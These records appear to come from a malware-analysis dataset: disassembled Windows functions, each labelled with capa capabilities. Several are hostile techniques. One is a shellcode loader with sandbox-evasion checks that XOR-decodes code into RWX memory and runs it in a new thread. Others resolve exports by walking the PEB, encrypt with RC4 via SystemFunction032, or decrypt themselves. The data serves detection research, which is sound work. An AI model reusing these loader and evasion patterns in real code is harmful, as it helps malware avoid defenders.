joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140177968
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x170
mov rax, qword [0x140370028]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.140023610
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], 0x104
mov qword [rsp + 0x30], rax
lea r8, str.CommercialId
lea rax, [rsp + 0x50]
mov r9d, 2
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
and qword [rbx + 0x10], 0
lea rdx, [rsp + 0x50]
mov qword [rbx + 0x18], setsockopt
mov rcx, rbx
mov byte [rbx], 0
call fcn.140019b20
mov rax, rbx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140021280
add rsp, 0x170
pop rbx
ret

Function at 0x140177a1c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x170
mov rax, qword [0x140370028]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.140023610
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], 0x104
mov qword [rsp + 0x30], rax
lea r8, str.BuildLabEx
lea rax, [rsp + 0x50]
mov r9d, 0x10002
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
and qword [rbx + 0x10], 0
lea rdx, [rsp + 0x50]
mov qword [rbx + 0x18], setsockopt
mov rcx, rbx
mov byte [rbx], 0
call fcn.140019b20
mov rax, rbx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140021280
add rsp, 0x170
pop rbx
ret
Function at 0x14019f368
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov rdi, rcx
lea rax, vtable.Microsoft::Applications::Events::HttpClient_WinInet.0
mov qword [rcx], rax
add rcx, 0x10
mov edx, 0x102
call fcn.14011328c
nop
lea rbx, [rdi + 0x60]
mov qword [rsp + 0x58], rbx
and qword [rbx], 0
and qword [rbx + 8], 0
mov rcx, rbx
call fcn.140171b7c
mov qword [rbx], rax
mov byte [rdi + 0x70], 0
mov dword [rsp + 0x20], 0x10000000
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rdi + 8], rax
mov rax, rdi
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1401cd6c4
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.140117a60
or dword [rbx + 0x1384], 0xffffffff
lea r8, [rbx + 8]
mov dword [rbx + 4], eax
mov ecx, 1
mov r9d, 0x26f
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
inc ecx
mov dword [r8], eax
lea r8, [r8 + 4]
sub r9, 1
jne 0x1401cd6eb
movabs rax, 0x3ff0000000000000
mov dword [rbx], 0x270
and qword [rbx + 0x1388], r9
mov qword [rbx + 0x1390], rax
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate process modules
Spawn thread to rwx shellcode

Disassembly:
push rbx
mov eax, 0x1310
call fcn.140001fa0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1300], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0xec]
mov edx, 0x80
lea rax, [rsp + 0x11f0]
sub r8, rax
lea rcx, [rsp + 0x11f0]
nop word [rax + rax]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001083
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001083
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001060
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor ebx, ebx
lea rcx, [rsp + 0x11f0]
mov word [rax], bx
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003460]
lea rcx, [rsp + 0x11f0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000115a
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x30]
and eax, 0xfffffffc
cmp eax, 0xc8
jb 0x14000115a
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, 0x124f80
jb 0x14000115a
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x140003290]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, ebx
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001120
lea rcx, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x1300]
xor rcx, rsp
call fcn.140001190
add rsp, 0x1310
pop rbx
ret

Function at 0x140001a58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa4
xor al, al
add rsp, 0x28
ret
Function at 0x140001005
Capabilities:
Check os version
Parse pe header
Resolve function by parsing pe exports

Disassembly:
jmp 0x140001f20
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x20]
lea rcx, [0x140008168]
call fcn.140001037
nop
mov rax, qword gs:[0x60]
mov qword [rbp], rax
cmp qword [rbp], 0
je 0x140001f5c
mov rax, qword [rbp]
cmp dword [rax + 0x118], 0xa
je 0x140001f63
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x140001f94
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001fb1
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
cmp dword [rax], 0x4550
je 0x140001fda
xor eax, eax
jmp 0x1400020a6
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14000200a
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x10]
mov qword [0x140005800], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x18]
mov dword [0x1400057f8], eax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057e8], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057e0], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057f0], rax
cmp qword [0x140005800], 0
je 0x14000209b
cmp dword [0x1400057f8], 0
je 0x14000209b
cmp qword [0x1400057e8], 0
je 0x14000209b
cmp qword [0x1400057e0], 0
je 0x14000209b
cmp qword [0x1400057f0], 0
jne 0x1400020a1
xor eax, eax
jmp 0x1400020a6
mov eax, 1
lea rsp, [rbp + 0x70]
pop rbp
ret
Function at 0x140001019
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140001310
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x20]
lea rcx, [0x1400080a3]
call fcn.140001037
nop
mov dword [rbp], 0
mov eax, dword [rbp + 0x90]
mov dword [rbp + 8], eax
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0xc], eax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0x1c], eax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x20], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x18]
call qword [rbp + 0x28]
mov dword [rbp], eax
cmp dword [rbp], 0
je 0x1400013b8
xor eax, eax
jmp 0x1400013bd
mov eax, 1
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x140001023
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x140002110
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x20]
lea rcx, [0x140008168]
call fcn.140001037
nop
mov dword [rbp + 8], 0xffffffff
mov dword [rbp + 0xc], 0
mov dword [rbp + 0x10], 0
movsxd rax, dword [rbp + 0xc]
mov rcx, qword [rbp + 0x70]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400021b2
movsxd rax, dword [rbp + 0xc]
mov rcx, qword [rbp + 0x70]
movsx eax, byte [rcx + rax]
mov dword [rbp], eax
mov eax, dword [rbp]
mov ecx, dword [rbp + 8]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 8], eax
mov dword [rbp + 0x10], 7
jmp 0x140002181
mov eax, dword [rbp + 0x10]
dec eax
mov dword [rbp + 0x10], eax
cmp dword [rbp + 0x10], 0
jl 0x1400021a8
mov eax, dword [rbp + 8]
and eax, 1
imul eax, eax, 0xffffffff
mov dword [rbp + 4], eax
mov eax, dword [rbp + 8]
shr eax, 1
mov ecx, dword [rbp + 4]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rbp + 8], eax
jmp 0x140002179
mov eax, dword [rbp + 0xc]
inc eax
mov dword [rbp + 0xc], eax
jmp 0x140002144
mov eax, dword [rbp + 8]
not eax
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x140001310
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140001310
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x20]
lea rcx, [0x1400080a3]
call fcn.140001037
nop
mov dword [rbp], 0
mov eax, dword [rbp + 0x90]
mov dword [rbp + 8], eax
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0xc], eax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x98]
mov dword [rbp + 0x1c], eax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x20], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x18]
call qword [rbp + 0x28]
mov dword [rbp], eax
cmp dword [rbp], 0
je 0x1400013b8
xor eax, eax
jmp 0x1400013bd
mov eax, 1
lea rsp, [rbp + 0x70]
pop rbp
ret
Function at 0x140001f20
Capabilities:
Check os version
Parse pe header
Resolve function by parsing pe exports

Disassembly:
jmp 0x140001f20
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x20]
lea rcx, [0x140008168]
call fcn.140001037
nop
mov rax, qword gs:[0x60]
mov qword [rbp], rax
cmp qword [rbp], 0
je 0x140001f5c
mov rax, qword [rbp]
cmp dword [rax + 0x118], 0xa
je 0x140001f63
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x140001f94
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001fb1
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
cmp dword [rax], 0x4550
je 0x140001fda
xor eax, eax
jmp 0x1400020a6
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14000200a
xor eax, eax
jmp 0x1400020a6
mov rax, qword [rbp + 0x10]
mov qword [0x140005800], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x18]
mov dword [0x1400057f8], eax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057e8], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057e0], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x10]
add rcx, rax
mov rax, rcx
mov qword [0x1400057f0], rax
cmp qword [0x140005800], 0
je 0x14000209b
cmp dword [0x1400057f8], 0
je 0x14000209b
cmp qword [0x1400057e8], 0
je 0x14000209b
cmp qword [0x1400057e0], 0
je 0x14000209b
cmp qword [0x1400057f0], 0
jne 0x1400020a1
xor eax, eax
jmp 0x1400020a6
mov eax, 1
lea rsp, [rbp + 0x70]
pop rbp
ret
Function at 0x140002110
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x140002110
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x20]
lea rcx, [0x140008168]
call fcn.140001037
nop
mov dword [rbp + 8], 0xffffffff
mov dword [rbp + 0xc], 0
mov dword [rbp + 0x10], 0
movsxd rax, dword [rbp + 0xc]
mov rcx, qword [rbp + 0x70]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400021b2
movsxd rax, dword [rbp + 0xc]
mov rcx, qword [rbp + 0x70]
movsx eax, byte [rcx + rax]
mov dword [rbp], eax
mov eax, dword [rbp]
mov ecx, dword [rbp + 8]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 8], eax
mov dword [rbp + 0x10], 7
jmp 0x140002181
mov eax, dword [rbp + 0x10]
dec eax
mov dword [rbp + 0x10], eax
cmp dword [rbp + 0x10], 0
jl 0x1400021a8
mov eax, dword [rbp + 8]
and eax, 1
imul eax, eax, 0xffffffff
mov dword [rbp + 4], eax
mov eax, dword [rbp + 8]
shr eax, 1
mov ecx, dword [rbp + 4]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rbp + 8], eax
jmp 0x140002179
mov eax, dword [rbp + 0xc]
inc eax
mov dword [rbp + 0xc], eax
jmp 0x140002144
mov eax, dword [rbp + 8]
not eax
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x140029b84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d124
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d124
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029cd4
cmp rax, 0xffffffffffffffff
je 0x140029cd4
xor edi, edi
test rbp, rbp
jle 0x140029c7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fda4
mov rbx, rax
test rax, rax
jne 0x140029c0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029c75
mov edx, 0x8000
mov ecx, r14d
call fcn.14001aac0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001de00
cmp eax, 0xffffffff
je 0x140029c55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c1c
mov edx, r15d
mov ecx, r14d
call fcn.14001aac0
jmp 0x140029c75
cmp byte [rsi + 0x38], dil
je 0x140029c6c
cmp dword [rsi + 0x34], 5
jne 0x140029c6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029c75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b404
jmp 0x140029ce8
jns 0x140029ce8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d124
cmp rax, 0xffffffffffffffff
jne 0x140029ca0
cmp byte [rsi + 0x30], dil
je 0x140029ce8
mov edi, dword [rsi + 0x2c]
jmp 0x140029ce8
mov ecx, r14d
call fcn.1400195f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029ce8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029ce8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029ce1
mov eax, dword [rsi + 0x2c]
jmp 0x140029ce6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d124
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ade0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1418a9ff0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1418a9ffa
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1418aa023
pop rbp
sub rbp, 0x33
sub rbp, 0x18a9ff0
sub rsp, 0x20
jmp 0x1418aa042
mov rax, 0x18a9ff0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb87b3913
xor byte [rax], dl
inc rax
dec rcx
jne 0x1418aa061
jmp 0x1418aa078
pop rbx
invalid
Function at 0x140002070
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x70
cmp qword [rcx + 0xd0], 0
mov rbx, rcx
movaps xmmword [rsp + 0x60], xmm6
movaps xmm6, xmm1
movaps xmmword [rsp + 0x50], xmm7
movaps xmm7, xmm2
jne 0x1400020b1
mov r8d, 0x684
lea rdx, [0x140055720]
lea rcx, str.Ctx___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp byte [rbx + 0x2b69], 0
mov rbp, qword [rbx + 0xd0]
je 0x140002280
movss xmm1, dword [0x14006560c]
xorps xmm2, xmm2
comiss xmm7, xmm1
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], r14
jbe 0x140002105
comiss xmm7, xmm2
cvttss2si eax, xmm7
jae 0x1400020fe
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm7
jp 0x1400020fc
je 0x1400020fe
dec eax
movd xmm7, eax
cvtdq2ps xmm7, xmm7
comiss xmm6, xmm1
jbe 0x14000212a
comiss xmm6, xmm2
cvttss2si eax, xmm6
jae 0x140002123
movd xmm0, eax
cvtdq2ps xmm0, xmm0
ucomiss xmm0, xmm6
jp 0x140002121
je 0x140002123
dec eax
movd xmm6, eax
cvtdq2ps xmm6, xmm6
lea r14, [rbp + 0x4018]
mov qword [rsp + 0x88], rdi
mov ebx, dword [r14]
sub ebx, 1
movsxd rsi, ebx
js 0x140002181
imul rdi, rsi, 0x1c
cmp ebx, dword [r14]
jl 0x140002167
mov r8d, 0x829
lea rdx, [0x140055570]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 8]
cmp dword [rdi + rax], 1
je 0x140002217
dec ebx
sub rdi, 0x1c
sub rsi, 1
jns 0x140002148
movsd xmm0, qword [rbp + 0xe0]
lea rax, [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
movss xmm0, dword [rax]
ucomiss xmm0, xmm6
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
movss xmm1, dword [rax + 4]
jp 0x1400021bf
jne 0x1400021bf
ucomiss xmm1, xmm7
jp 0x1400021bf
je 0x140002278
mov eax, dword [rbp + 0x403c]
mov dword [rsp + 0x38], eax
inc eax
mov dword [rbp + 0x403c], eax
mov ecx, dword [r14]
mov r8d, dword [r14 + 4]
mov eax, dword [rbp + 0x4038]
movss dword [rsp + 0x3c], xmm6
movss dword [rsp + 0x40], xmm7
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x44], eax
cmp ecx, r8d
jne 0x14000224d
inc ecx
test r8d, r8d
je 0x140002239
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14000223e
movss xmm0, dword [rdi + rax + 0xc]
movss xmm1, dword [rdi + rax + 0x10]
lea rax, [rsp + 0x20]
movss dword [rsp + 0x20], xmm0
movss dword [rsp + 0x24], xmm1
jmp 0x140002194
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, r14
call fcn.140023680
movsxd rax, dword [r14]
movups xmm0, xmmword [rsp + 0x30]
movsd xmm1, qword [rsp + 0x40]
imul rcx, rax, 0x1c
mov rax, qword [r14 + 8]
movups xmmword [rcx + rax], xmm0
movsd qword [rcx + rax + 0x10], xmm1
mov dword [rcx + rax + 0x18], 0
inc dword [r14]
mov r14, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x70
pop rbp
ret
Function at 0x140002890
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400028ed
lea rbx, [0x14005b9c0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400028d4
cmp r10, 2
jb 0x1400028d4
cmp byte [r9], r8b
jne 0x1400028d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400028b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000292f
lea rbx, [0x14005b9c0]
cmp r8b, 0x23
jne 0x140002913
cmp byte [r9], r8b
jne 0x140002913
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002900
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140002ad0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rsi, r8
mov rbx, rcx
test rcx, rcx
jne 0x140002b05
mov r8d, 0x8ca
lea rdx, [0x140055720]
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor r14d, r14d
test rsi, rsi
je 0x140002b10
mov qword [rsi], r14
lea rdx, [0x14005b148]
mov rcx, rbx
call fcn.140002940
mov rbx, rax
test rax, rax
jne 0x140002b38
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140002c62
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002c62
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140002c62
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002c62
cmp rdi, 0xffffffffffffffff
je 0x140002c62
mov rcx, rdi
call fcn.140008ca0
mov rbp, rax
test rax, rax
je 0x140002c62
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140002c4f
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x140095ee8]
test r8, r8
je 0x140002c44
movsx rdx, word [r8 + 0x5480]
lea rcx, [r8 + 0x5484]
mov r9d, dword [r8 + 0x3fe8]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140002c39
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x5480], cx
movsx rax, cx
lea rcx, [r8 + 0x5484]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x547c]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002c6b
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140002c5d
mov qword [rsi], rdi
mov rax, rbp
jmp 0x140002c6d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret